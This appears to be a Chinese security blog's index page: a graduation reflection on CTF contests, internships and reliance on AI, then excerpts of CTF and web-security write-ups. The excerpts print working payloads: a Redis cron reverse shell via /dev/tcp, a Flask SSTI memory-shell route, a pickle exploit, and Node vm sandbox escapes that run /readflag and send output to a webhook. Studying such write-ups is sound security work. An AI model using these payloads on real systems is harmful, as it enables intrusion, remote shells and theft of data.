blog


马上毕业了,在写致谢的时候发现好像想写的东西挺多的,但是不知道怎么写出来了,可能是因为很久没写东西了?也可能是AI用多了自己深度思考的时间少了?其实挺多时候都有想写点东西的欲望,总是因为一些原因没有写出来吧可能是太懒了。

从去年到现在,打了很多比赛,也真正意义上去公司实习了有挺多想写的。但是过年那会没有写总结,好像24年也没写。。。落下太多了,先随便挑挑补一些吧。

💭CTF:

🧩A

在24年6月第一次以非校队的名义跟战队去了线下大型赛事“矩阵杯”,当时也是第一次去青岛挺激动的

image-20260515025159941

记得当时因为是第一次去,并且那会也怕打不好去之前虽然很激动但是更多的是忐忑,当然确实这次也打的一般哈哈哈。但是在赛后的party认识了很多大佬,也是不虚此行

f6843fe11bd6057d1211a83a4c64bd41_720

在中间陆陆续续也跟r3kapig打了很多国际赛,太菜了去不了线下,但是成长了许多。

🧩B

然后在25年4月我们校队又去了福州玩了,记得当时是我们这届几个人第一次打的除了国赛和省内之外的其它有线下的比赛吧。其实也挺不容易的,我们学校校队总共就从杠哥开始然后招了3个人,但是这会有两个都没打了,然后是我们这届有4个人,我们四个就是固定队友了。后来我们这会又招了5个学弟,但是后面有3个都跑了哈哈哈。所以其实算上我们下一届总共就8个人各个方向也不全,学长也没打了。每次线上比赛都打的异常艰难。那会其实知道CTF一把梭,也知道很多队是用这个打的。但是可能因为我们比较头铁也可能是无所谓吧,我们都是纯手打。而且我们比赛信息异常闭塞,平时就打打省赛,国赛,长城杯这种,然后就是自己学习,参加各大新生赛了。

回到这次比赛,其实算是我们第一次参加的其它的吧。

image-20260515030318075

这也是我第一次来福建,好吧,其实我去之前总共就没出过几次重庆。。。

🧩C

这中间也打了很多其它的比赛,国际赛也没断过一直在打。

然后就是10月跟NK参加了XCTF final了。这会我也算有比较多的经验了吧,其实这次我感觉个人发挥还好(bushiimage-20260515032106397

记得这会AI已经很强了,很多题都能直接用AI打了,记得好像25年defcon那会他们用ida-mcp逆向的时候说是能提速好几倍。反正就是25年AI慢慢的就很强了,到我打XCTF那会已经能做很多东西了,但是我感觉因为AI出来的缘故其实我个人感觉对个人影响其实挺大的。后面单独聊聊吧。

🧩D

然后就是25年12月,第一次出国,这次比第一次去青岛更是慌了,不光怕打的不好,而且我的英语水平其实跟哑巴也没啥太大区别了,这次比赛我们是世界第二hhhh,crazyman和rec带飞。

image-20260515033540831

当时还在当地逛了一下,其实我感觉除了沙多点其实跟国内也差不多(bushi

当时手机摄像头坏了。。。

9af26c84b5e32278a668a81a0f418b2d_720

🎐实习

之前其实我23-25年一直都有劳务合同平时空了会出去做一些渗透,也做过一些开发项目,然后25年到现在去了两个实习。

🧩A

25年6月那会第一次找了个实习(我boss“认真”一顿乱投)在qax做渗透,这份工作遇到很好的大哥和一些朋友,大家平时一起搞技术,然后经常一起玩,感觉其实挺好的,也非常非常感谢他们照顾我,但是我12月左右就跑了(实习工资真有点太低了。。

在这段实习当中大哥也带着我学了很多东西,很多有趣的vuln利用姿势等等等等,也见识了很多。

🧩B

从qax走后去了cxht的安研,在这主要是挖洞和红队,这里也认识了挺好的朋友,大家平时一起搞技术挖漏洞,打红队,也挺有趣的,也挺照顾我。

🧩C

怎么说呢,虽然大部分实习的工作之前都做过挺多了,但是与不同的人一起能够学到很多自己可能之前根本就没见过的东西。

🎧AI

其实从chatGPT出来那会,那会其实感觉确实很鸡肋,在我那会的认知里面,觉得这就是个落后的资料查询工具而已。后面也陆陆续续的出现了其它AI产品,感觉其实也挺一般的。

但是没过多久AI发展确实有点快了,从聊天工具到Copilot深度嵌入开发工作流,然后再MCP和Agent。慢慢也Vibe Coding成为主流,到现在AI已经算是成为大部分人必不可少的东西了。

对我来说,它确实很好用,不管是开发还是学习还是CTF题,它都能很好的赋能,甚至能够直接完成一些东西。比如现在的CTF比赛直接把题扔给AI,一个跑不出来多开几个Agent。。。

但是自从AI很强之后,我感觉到我深度思考的时间减少了,还有就是代码审计,bug调试这些很多需要花时间去做的都很少了。虽然AI是一个帮助学习的好工具,但是现在我感觉我的学习能力和学习的意愿都在慢慢的减弱,虽然我有主动的去控制,让自己尽量的去学习,去深度思考,不要AI解决问题就不管了。我觉得是我最近真有点懒了,还是得尽量克制自己的惰性,不能让AI控制大脑了(bushi

🫧 最后

写不动了,没有灵感了,后面的全是口水话了,下次少写点。

Read more ⟶

react2shell


Web(CVE-2025-55182-react2shell)

最近遇到一个CTF题再次看到了前端时间比较火的react2shell。 这个题目大概的意思是在next@16.0.6,react@19.0.3-xx版本去绕一个特别疯狂的关键词检测waf,虽然之前这个洞刚出的时候我也去简单审了一下这个洞,但是只有个大概的了解,刚好遇到这个题,就又花时间去学习啦一下。

1.SSR、RSC、ServerActions、Flight协议

在开始之前我们得先了解这个几个概念

  • SSR :React原本是一个前端框架,但为了SEO优化和提升首次渲染速度,开发者使用SSR技术将首次渲染放在后端执行,并将渲染后的HTML代码返回给浏览器。但此后浏览器需要下载所有组件代码和依赖库,通过Hydration过程重新执行组件逻辑来绑定交互功能,这导致JavaScript bundle过大,可交互时间很长。(纯前端)

  • RSC :React 18引入了React Server Components(React 19中稳定)。与传统SSR不同,ServerComponents的代码永远不会下载到浏览器 ——它们只在服务器执行,输出结果发送给客户端,不需要Hydration,这样可以使用庞大的依赖库(如数据库驱动)而不影响前端性能。(加了点后端的东西放一起了)

  • ServerActions :React 19以后引入,Server Actions允许开发者直接在组件中调用服务器端函数来修改数据,无需创建API端点。React会自动处理客户端-服务器通信、数据序列化和页面更新,大幅简化了表单提交和数据修改的开发流程。

  • RSC/Flight 是一种“在网络上传递 React 组件树信息”的协议,客户端用一个解码器把服务器返回的“帧”(frame)解析成可恢复的 React 结构,再进行局部更新和渲染。

    响应类型:RSC 载荷的响应头是 content-type: text/x-component(又称 Flight payload)。

总的来说就是因为有了ServerActions之后前后端再次揉在一起从而导致了这个漏洞

Read more ⟶

Self-XSS


Self‑XSS:定义、风险评估与进阶利用(含 Credentialless Iframe)

0. 摘要

Self‑XSS(自触发 XSS)经常被当成“自嗨洞”,因为默认只炸在攻击者自己的会话里。但只要加上合适的东西(CSRF/会话切换/同站落点/credentialless iframe),它也能变成可复现的攻击链。

抓两条主线:

  1. Self‑XSS 能不能打,核心看“执行点”能不能搬到受害者可控/可被影响的上下文里(能否完成链路闭环)。
  2. credentialless iframe 的坑点不在“不同源”,而在“存储隔离 + 同源 DOM 仍可能互访”的组合拳。
Read more ⟶

ssrf打redis


SSRF打redis

思路:常见方法使用gopher和dict,执行redis命令,然后通过redis命令达到目的。

前置知识

RESP 协议

RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议 因此我们后续构造 payload 时也需要转换成 RESP 协议的格式

*1
$8
flushall
*3
$3
set
$1
1
$64



*/1 * * * * bash -i >& /dev/tcp/xxxxxxx/xxx 0>&1







*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit

1.写shell

直接通过redis执行命令写文件。

    commands = [
        "flushall",   #清空redis
        f'set:webshell:"{shellcode}"',   #写入shell内容
        'set:dir:/scripts',   #写入目录
        'set:dbfilename:visit.script',   #设置镜像文件名
        "save"  #保存写入
    ]

一般为:dict://<host>:<port>/info 探测端口应用信息 执行命令:dict://<host>:<port>/命令:参数 冒号相当于空格

Read more ⟶

flask下的内存马


FLASK下python内存马

Python]Flask内存马学习.md at main · bfengj/CTF (github.com)

flask不出网回显方式 - Longlone’s Blog

初始

在一个月黑风高的夜晚,看见一个从未见过的函数add_url_rule,然后经过亿系列的查询发现是flask的内存马常用的东西

add_url_rule()
可以添加一个自定义路由,并且可以自定义匿名函数,访问这个路由就可以调用这个匿名函数

这里有payload

sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())


ssti:
{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}"

但是!这是老版本的,关闭debug模式会调用到check函数,然后会导致报错

然而在新版本当中,很多地方都存在check函数,so,G

然后看见有师傅提供了方法

通过@app.before_request @app.after_request来打
Read more ⟶

AES-CBC反转攻击


AES-CBC反转攻击

在一些特定情况下才能使用

Read more ⟶

闭包提权(Closure-Privilege-Escalation)


闭包提权:

var o = (function() {
    var obj = {
        a: 1,
        flag: "flag{test}",
    };
    return {
        get: function(k) {
            return obj[k];
        },
        add: function() {
            n++;
        }
    };
}
)();

console.log(o.get("flag"))  // flag{test}

首先,这里通过闭包实现了将obj这个对象让外面不可更改。实现只读的效果。

作用:比如在有些环境下,如第三方库当中,需要保持稳定性,防止一个库被另一个库修改。

利用:


console.log(o.get("valueOf"))  //[Function: valueOf]

console.log(o.get("valueOf")())  // TypeError: Cannot convert undefined or null to objec
// 由于valueOf是Object.prototype的方法,所以在调用时,this指向的是Object.prototype,而Object.prototype并没有flag属性,所以会报错


//定义一个原型,让obj[k]能拿到这个原型,然后返回this指向obj
Object.defineProperty(Object.prototype, "hacker", {
    get: function() {
        return this;
    }
});
console.log(o.get("flag")) // flag{test}

console.log(o.get("hacker"))  // { a: 1, flag: 'flag{test}' }
let obj1 = o.get("hacker");
obj1.flag = 2;

console.log(o.get("flag"))  // 2

if (o.get("flag") !== "flag{test}") {
    console.log("flag is correct!");
}
// flag is correct!

利用成功

Read more ⟶

SSRF


SSRF简介

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

也就是(如果A是外网主机,B是不能访问外网的主机,C是能够访问A和B的主机——->SSRF也就是A通过C访问B)

SSRF漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web 应用作为代理攻击远程和本地的服务器。

攻击方式:

  1. 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。

  2. 攻击运行在内网或本地的应用程序。

  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息。

  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。

    利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面。

  5. 利用file协议读取本地文件等。

常用函数

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

漏洞点

常见SSRF漏洞验证方式

排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)

抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址

从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
通过二级域名暴力猜解工具模糊猜测内网地址
通过file协议读取内网信息获取相关地址

直接返回的Banner、title、content等信息

留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。

SSRF漏洞点挖掘

1. 社交分享功能:获取超链接的标题等内容进行显示

2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3. 在线翻译:给网址翻译对应网页的内容

4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数

9. 邮件系统:比如接收邮件服务器地址

10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

url关键字

Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

看看这里吧!!!SSRF漏洞

题目easycms:

搜索到迅睿cms 曾经存在ssrf,审计代码发现qrcode路由存在ssrf构造如下

http://eci-2ze3cmcfbu4h73d67lga.cloudeci1.ichunqiu.com/index.php
?s=api
&c=api
&m=qrcode
&thumb=http://test.ai.darwinchow.com
&text=sfaf
&size=11
&level=1

发现存在ssrf,但是直接访问127.0.0.1是被过滤的 尝试302去绕过

302配置如下

Read more ⟶

NKCTF-2024wp


attack_tacooooo

账号tacooooo@qq.com

密码tacooooo

import pickle

class Exploit(object):

    def __reduce__(self):
        code = """
import os

def find_flag_and_write(source_directory, destination_path, destination_file_name):

    with open("/proc/1/environ", 'r') as flag_file:
        flag_content = flag_file.read()

    destination_file_path = os.path.join(destination_path, destination_file_name)
    with open(destination_file_path, 'a') as destination_file:
        destination_file.write(flag_content)


find_flag_and_write('/', '../var/lib/pgadmin/storage/tacooooo_qq.com/', 'flag.txt')

"""
        # 使用纯 Python 代码来写入文件
        return (exec, (code,))



# 序列化 exploit 对象
with open('posix.pickle', 'wb') as f:
    pickle.dump(Exploit(), f)

全世界最简单的CTF

source

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app.use(bodyParser.json())
	.set('views', path.join(__dirname, 'views'))
	.use(express.static(path.join(__dirname, '/public'))) app.get('/', function(req, res) {
		res.sendFile(__dirname + '/public/home.html');
	})
function waf(code) {
	let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
	if (code.match(pattern)) {
		throw new Error("what can I say? hacker out!!");
	}
}
app.post('/', function(req, res) {
	let code = req.body.code;
	let sandbox = Object.create(null);
	let context = vm.createContext(sandbox);
	try {
		waf(code) let result = vm.runInContext(code, context);
		console.log(result);
	} catch (e) {
		console.log(e.message);
		require('./hack');
	}
}) app.get('/secret', function(req, res) {
	if (process.__filename == null) {
		let content = fs.readFileSync(__filename, "utf-8");
		return res.send(content);
	} else {
		let content = fs.readFileSync(process.__filename, "utf-8");
		return res.send(content);
	}
}) app.listen(3000, () => {
	console.log("listen on 3000");
})
payload:
1、
throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const g = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
      const h = g.mainModule.require('fs').readFileSync('/proc/self/environ');
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${h}`})});
    }
  })
  exec被ban然后执行不了命令,中括号我本地能过,但是环境上不行。fs模块读不到flag文件。
  
  2、
  过滤了中括号
  throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const gg = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
      const hh = gg.mainModule.require(`${'child_p'}rocess`);
      const ff = (cc.constructor.constructor(`s = 1+2`))();
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${s}`})});
    }
})
两个思路:
再构造一个函数。-------------不知道为什么不行
可以写入js文件,使用fork执行然后fetch出来。--------------ok!

payload:
// 文件写入suceess
throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const gg = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
let content = `
        let cs = require('${`${'child_p'}rocess').exe`}cSync('/readflag').toString();
        ${`${'proces'}s`}.on("message",function(msg){
            fetch("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: cs})});
        })
      `;
      const fs = gg.mainModule.require('fs').appendFileSync("./readflag1.js",content);
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${fs}`})});
    }
})

//通信成功
throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const g = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
      const h = g.mainModule.require(`${'child_p'}rocess`).fork('./readflag1.js');
      h.send('hello');
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${h}`})});
    }
})

{
  "data": "NKCTF{5e1d772e-8260-444d-ab4b-21c7b7603521}\n"
}

img

my first cms

这是什么cms?直接安装最新版的应该没有问题了吧……

GitHub - capture0x/CMSMadeSimple2: CMS Made Simple Version: 2.2.19 - SSTI

admin Admin123

Read more ⟶

N1CTF Junoir


N1CTF Junior

zako

Read more ⟶